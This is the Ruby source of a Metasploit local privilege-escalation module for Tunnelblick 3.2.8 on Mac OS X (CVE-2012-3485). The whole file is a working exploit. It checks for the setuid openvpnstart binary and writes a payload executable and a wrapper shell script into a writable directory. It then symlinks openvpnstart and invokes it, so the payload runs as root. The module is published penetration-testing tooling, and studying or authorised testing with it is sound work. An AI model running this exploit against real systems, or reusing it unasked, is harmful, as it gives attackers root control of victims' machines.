metasploit-framework/modules/exploits/osx/local/setuid_tunnelblick.rb

130 lines
3.9 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::OSX::Priv
include Msf::Post::File
include Msf::Exploit::EXE
def initialize(info = {})
super( update_info( info, {
'Name' => 'Setuid Tunnelblick Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Tunnelblick 3.2.8 on Mac OS X. The
vulnerability exists in the setuid openvpnstart, where an insufficient
validation of path names allows execution of arbitrary shell scripts as root.
This module has been tested successfully on Tunnelblick 3.2.8 build 2891.3099
over Mac OS X 10.7.5.
},
'References' =>
[
[ 'CVE', '2012-3485' ],
[ 'OSVDB', '84706' ],
[ 'EDB', '20443' ],
[ 'URL', 'http://blog.zx2c4.com/791' ]
],
'License' => MSF_LICENSE,
'Author' =>
[
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit
'juan vazquez' # Metasploit module
],
'DisclosureDate' => '2012-08-11',
'Platform' => 'osx',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell' ],
'Targets' =>
[
[ 'Tunnelblick 3.2.8 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],
[ 'Tunnelblick 3.2.8 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0
}))
register_options [
# These are not OptPath because it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("Tunnelblick", [ true, "Path to setuid openvpnstart executable", "/Applications/Tunnelblick.app/Contents/Resources/openvpnstart" ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def check
unless file? datastore['Tunnelblick']
vprint_error 'openvpnstart not found'
return CheckCode::Safe
end
check = cmd_exec("find #{datastore["Tunnelblick"]} -type f -user root -perm -4000")
unless check.include? 'openvpnstart'
return CheckCode::Safe
end
CheckCode::Vulnerable
end
def clean
file_rm(@link)
cmd_exec("rm -rf #{base_dir}/openvpn")
end
def exploit
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
if check != CheckCode::Vulnerable
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status("Creating directory...")
cmd_exec "mkdir -p #{base_dir}/openvpn/openvpn-0"
exe_name = rand_text_alpha(8)
@exe_file = "#{base_dir}/openvpn/openvpn-0/#{exe_name}"
print_status("Dropping executable #{@exe_file}")
write_file(@exe_file, generate_payload_exe)
cmd_exec "chmod +x #{@exe_file}"
evil_sh =<<-EOF
#!/bin/sh
#{@exe_file}
EOF
@sh_file = "#{base_dir}/openvpn/openvpn-0/openvpn"
print_status("Dropping shell script #{@sh_file}...")
write_file(@sh_file, evil_sh)
cmd_exec "chmod +x #{@sh_file}"
link_name = rand_text_alpha(8)
@link = "#{base_dir}/#{link_name}"
print_status("Creating symlink #{@link}...")
cmd_exec "ln -s -f -v #{datastore["Tunnelblick"]} #{@link}"
print_status("Running...")
begin
cmd_exec "#{@link} OpenVPNInfo 0"
rescue
print_error("Failed. Cleaning files #{@link} and the #{base_dir}/openvpn directory")
clean
return
end
print_warning("Remember to clean files: #{@link} and the #{base_dir}/openvpn directory")
end
end